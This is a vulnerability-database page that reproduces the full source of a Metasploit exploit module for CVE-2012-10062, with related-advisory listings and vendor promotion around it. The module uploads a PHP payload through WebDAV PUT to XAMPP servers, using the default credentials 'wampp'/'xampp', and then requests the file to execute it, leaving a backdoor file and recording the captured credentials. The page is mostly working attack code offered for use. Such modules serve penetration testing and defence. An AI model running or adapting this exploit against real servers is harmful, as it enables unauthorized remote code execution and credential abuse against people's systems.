Lucene search
K

📄 WebDAV PHP Upload

🗓️ 22 Apr 2026 00:00:00Reported by g0tmi1k, theLightCosineType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 37 Views

Exploits WebDAV with PHP on XAMPP to upload and execute a PHP payload using provided credentials.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2012-10062
30 Aug 202513:57
attackerkb
Circl
CVE-2012-10062
29 May 201815:50
circl
CNNVD
XAMPP 安全漏洞
30 Aug 202500:00
cnnvd
CVE
CVE-2012-10062
30 Aug 202513:57
cve
Cvelist
CVE-2012-10062 XAMPP WebDAV PHP Upload Authentication Bypass RCE
30 Aug 202513:57
cvelist
EUVD
EUVD-2012-6608
7 Oct 202500:30
euvd
Metasploit
WebDAV PHP Upload
21 Apr 202619:02
metasploit
NVD
CVE-2012-10062
30 Aug 202514:15
nvd
OpenVAS
XAMPP WebDAV PHP Upload Vulnerability (Jan 2012) - Active Check
17 Jan 201200:00
openvas
Positive Technologies
PT-2025-35371
30 Aug 202500:00
ptsecurity
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::EXE
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Deprecated
      moved_from 'exploits/windows/http/xampp_webdav_upload_php'
    
      def initialize(_info = {})
        super(
          'Name' => 'WebDAV PHP Upload',
          'Description' => %q{
              This module exploits WebDAV which also has PHP enabled,
              such as found on XAMPP servers.
              It can use do by using any supplied credentials to upload via WebDAV,
              a PHP payload and then execute it.
          },
          'Author' => [
            'theLightCosine',
            'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
          ],
          'Platform' => 'php',
          'Arch' => ARCH_PHP,
          'Targets' => [
            [ 'Automatic', {} ],
          ],
          'DisclosureDate' => '2012-01-14',
          'DefaultTarget' => 0,
          'References' => [
            [ 'CVE', '2012-10062' ]
          ],
          'Notes' => {
            'Stability' => [CRASH_SAFE],
            'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
            'Reliability' => [REPEATABLE_SESSION]
          }
        )
    
        register_options(
          [
            OptString.new('URI', [ true, 'The URI path to attempt to upload', '/webdav/' ]),
            OptString.new('FILENAME', [ false, 'The filename to give the payload. (Leave blank for random)' ]),
            OptString.new('USERNAME', [ false, 'The HTTP username to specify for authentication', 'wampp' ]),
            OptString.new('PASSWORD', [ false, 'The HTTP password to specify for authentication', 'xampp' ])
          ]
        )
      end
    
      def build_res_creds
        if !datastore['USERNAME'].to_s.empty?
          vprint_status 'Using credentials for WebDAV'
          {
            'username' => datastore['USERNAME'],
            'password' => datastore['PASSWORD']
          }
        else
          vprint_status 'Anonymous authentication for WebDAV'
          {}
        end
      end
    
      def print_res_code(res, res_creds)
        if res.code == 401
          print_warning 'Creds may be required' if res_creds.empty?
          print_warning 'Creds may be incorrect' if !res_creds.empty?
        end
      end
    
      def report_webdav_service(res, creds)
        header_server = res.headers['Server'].to_s.strip
        vprint_status "Server: #{header_server}"
    
        opts = {
          ip: rhost,
          port: rport,
          service_name: 'webdav',
          proto: 'tcp',
          proof: res.code.to_s
        }.merge(creds.transform_keys(&:to_sym))
    
        service = report_service(
          host: opts[:ip],
          port: opts[:port],
          proto: opts[:proto],
          name: opts[:service_name],
          info: header_server,
          parents: {
            name: ssl ? 'https' : 'http',
            host: opts[:ip],
            port: opts[:port],
            proto: opts[:proto],
            parents: {
              name: 'tcp',
              host: opts[:ip],
              port: opts[:port],
              proto: opts[:proto],
              parents: nil
            }
          }
        )
    
        [opts, service]
      end
    
      def report_webdav_creds(opts, service)
        # XXXX Otherwise `vuln`'s "Service" is "none" when doing check(), and different when doing exploit()
        report_vuln(
          host: opts[:ip],
          service: service,
          name: name
        )
    
        service_data = {
          address: opts[:ip],
          port: opts[:port],
          service_name: opts[:service_name],
          protocol: opts[:proto],
          workspace_id: myworkspace_id
        }
    
        credential_data = {
          origin_type: :service,
          module_fullname: fullname,
          username: opts[:username],
          private_data: opts[:password],
          private_type: :password
        }.merge service_data
    
        login_data = {
          last_attempted_at: DateTime.now,
          core: create_credential(credential_data),
          status: Metasploit::Model::Login::Status::SUCCESSFUL,
          proof: opts[:proof]
        }.merge service_data
    
        create_credential_login login_data
      end
    
      def check
        test_file = rand_text_alphanumeric(rand(8..15)) + '.php'
        test_url = normalize_uri(datastore['URI'], test_file)
        payload = rand_text_alphanumeric(rand(8..15))
        res_creds = build_res_creds
    
        # Check
        vprint_status "Checking for WebDAV: #{datastore['URI']}"
        res = send_request_raw({
          'uri' => normalize_uri(datastore['URI']),
          'method' => 'OPTIONS'
        }.merge(res_creds), 10)
        return Exploit::CheckCode::Unknown unless res
    
        unless res.code == 200
          print_error "Target responded: HTTP #{res.code}, should be 200"
          print_res_code(res, res_creds)
          return Exploit::CheckCode::Unknown
        end
    
        # Record results!
        opts, service = report_webdav_service(res, res_creds)
    
        # First see if it already exists (it really shouldn't)
        vprint_status "Checking for test file: #{test_url}"
        res = send_request_raw({
          'uri' => test_url
        }.merge(res_creds), 10)
        return Exploit::CheckCode::Unknown unless res
        return Exploit::CheckCode::Unknown("The test file may already exists (HTTP #{res.code})") unless res.code == 404 # Need to try again with a different file
    
        # Try to create it
        vprint_status "Attempting to upload: #{test_url}"
        res = send_request_cgi({
          'uri' => test_url,
          'method' => 'PUT',
          'data' => payload
        }.merge(res_creds), 10)
        return Exploit::CheckCode::Unknown unless res
    
        ## Often its HTTP 201
        unless res.code.to_i.between?(200, 299)
          print_error "Error with upload request (HTTP #{res.code}, should be 2xx)"
          print_res_code(res, res_creds)
          return Exploit::CheckCode::Safe
        end
    
        # Record results!
        report_webdav_creds(opts, service)
    
        # Try to run it
        vprint_status "Checking if created: #{test_url}"
        res = send_request_cgi({
          'uri' => test_url
        }.merge(res_creds))
        return Exploit::CheckCode::Unknown unless res
        return Exploit::CheckCode::Safe("Error with exploit request (HTTP #{res.code}, should be 2xx)") unless res.code.to_i.between?(200, 299)
        return Exploit::CheckCode::Safe("Error with exploit request (Response doesn't match payload) - Missing PHP?") unless res.body.to_s.include?(payload)
    
        # Clean up
        vprint_status "Attempting to delete: #{test_url}"
        res = send_request_cgi({
          'uri' => test_url,
          'method' => 'DELETE'
        }.merge(res_creds), 10)
        return Exploit::CheckCode::Unknown unless res
    
        # Exploit uses cmd to delete via file system, not HTTP DELETE request
        print_warning "Error with delete request (HTTP #{res.code}, should be 204) - Can't clean up" unless res.code == 204
    
        # Done
        return Exploit::CheckCode::Vulnerable
      end
    
      def exploit
        uri = build_path
        res_creds = build_res_creds
    
        print_status "Uploading payload: #{uri}"
        res = send_request_cgi({
          'uri' => uri,
          'method' => 'PUT',
          'data' => payload.raw
        }.merge(res_creds), 10)
        ## Often its HTTP 201
        unless res&.code&.between?(200, 299)
          print_error 'Failed to upload file!'
    
          if res
            print_error "Error with upload request (HTTP #{res.code}, should be 2xx)"
            print_res_code(res, res_creds)
          else
            print_error 'No response received from server'
          end
    
          return
        end
    
        # Record results!
        opts, service = report_webdav_service(res, res_creds)
        report_webdav_creds(opts, service)
    
        print_status 'Attempting to execute payload'
        # Very short timeout because the request may never return if we're sending a socket payload
        send_request_cgi({
          'uri' => uri,
          'method' => 'GET'
        }.merge(res_creds), 0.01)
    
        register_file_for_cleanup(@backdoor)
      end
    
      def build_path
        uri_path = normalize_uri(datastore['URI'])
        uri_path << '/' unless uri_path.ends_with?('/')
    
        @backdoor = datastore['FILENAME'] || Rex::Text.rand_text_alphanumeric(7)
        @backdoor << '.php' unless @backdoor.end_with?('.php')
        uri_path << @backdoor
    
        return uri_path
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Apr 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 48.7
EPSS0.61765
SSVC
37